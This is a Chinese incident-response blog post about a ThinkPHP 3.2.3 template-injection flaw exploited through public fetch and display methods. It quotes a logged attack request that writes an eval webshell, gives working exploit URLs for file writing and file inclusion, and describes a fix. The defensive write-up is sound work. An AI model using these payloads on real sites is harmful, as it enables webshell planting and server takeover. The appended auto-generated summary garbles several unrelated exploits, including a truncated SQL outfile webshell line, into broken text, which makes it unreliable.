记一次tp3.2.3因fetch导致的漏洞处理过程

66 篇文章 1 订阅

参考:https://www.phpmianshi.com/?id=108

 

问题描述:

 

最近发现百度收录大幅度下降,并出现大量5xx错误,有些收录页面直接跳转到其他网站,如下图:

图片.png

 

 

问题追查

1.根据以往经验首先怀疑网站被植入或者挂马

          于是排查系统日志,因为php项目的植入基本是通过eval植入的,所以我们直接:

          grep eval   nginx.log   发现类似如下日志:

{ "@timestamp": "02/Jun/2020:22:26:21 +0800", "remote_addr": "10.105.193.11", "referer": "-", "request": "GET 
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('hmseo.php','<?php%20@eval($_POST[hm]);?>hmseo')</php>
 HTTP/1.1", "status": 200, "bytes": 5, "agent": "Mozilla/4.0 
(compatible; MSIE 9.0; Windows NT 6.1)", "x_forwarded": 
"185.207.155.138, 10.105.193.84", "up_addr": "unix:/tmp/php-cgi.sock","up_host": "-","up_resp_time": "0.021","request_time": "0.020" }

2.根据日志基本确定就是被植入了,结合我们网站和wap使用的框架,确定这是tp3.2.3的漏洞

            漏洞概述


            远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到getshell的目的。

 

    ​    ​    ​一共有两种方式植入:
    ​    ​    ​第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

    ​    ​    ​fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell

    ​    ​    ​第二种是通过构造a参数的display方法,实现任意内容包含漏洞

    ​    ​  ​display函数的作用是加载模板和页面输出

          所对应的参数为:
    ​    ​  ​$templateFile 指定要调用的模板文件

    ​    ​  ​$charset 模板输出字符集

    ​    ​  $contentType 输出类型,$content 模板输出内容。

    ​    ​  ​templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,然后调用Thinkphp Controller 函数的display方法


 

3.实战演练

         我们通过fetch方法构造url如下:www.phpmianshi.com/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

         然后执行上面的url就可以在项目目录写入test.php  打印服务器的phpinfo信息,打开 www.phpmianshi.com/test.php 发现可以直接看到phpinfo

 

    ​    ​我们通过display方法构造url如下:www.phpmianshi.com/?a=display&templateFile=phpmianshi.txt

         然后执行上面的url就可以直接显示phpmianshi.txt的内容

 

         根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 Application\Common\Controller 路径下的 BaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法

 

解决方案

1.这边有问题的是display函数和fetch函数,display 和 fetch 函数的修饰符改为 protected  即可修复

2. 修复完成后,我们再执行 第三步:实战演练中的操作,发现不会再有植入的代码,说明修复成功

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据引用中提供的信息,ThinkPHP3.2.x存在一个RCE(远程代码执行)漏洞。根据引用中的描述,我们可以通过控制`$this->img`变量来找到`destroy()`函数。在`ThinkPHP/Library/Think/Session/Driver/Memcache.class.php`文件中的`Memcache`类的`destroy()`函数中可以找到这个函数。请注意,如果使用PHP7,在调用有参函数但没有传入参数的情况下会报错,因此应该使用PHP5而不是PHP7。具体的漏洞利用方法是,在URL中注入`?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [wp 篇 DASCTF Thinkphp 3.2.3RCE复现](https://blog.csdn.net/weixin_46203060/article/details/119532553)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [【安全漏洞】ThinkPHP 3.2.3 漏洞复现](https://blog.csdn.net/2201_75857869/article/details/129316463)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值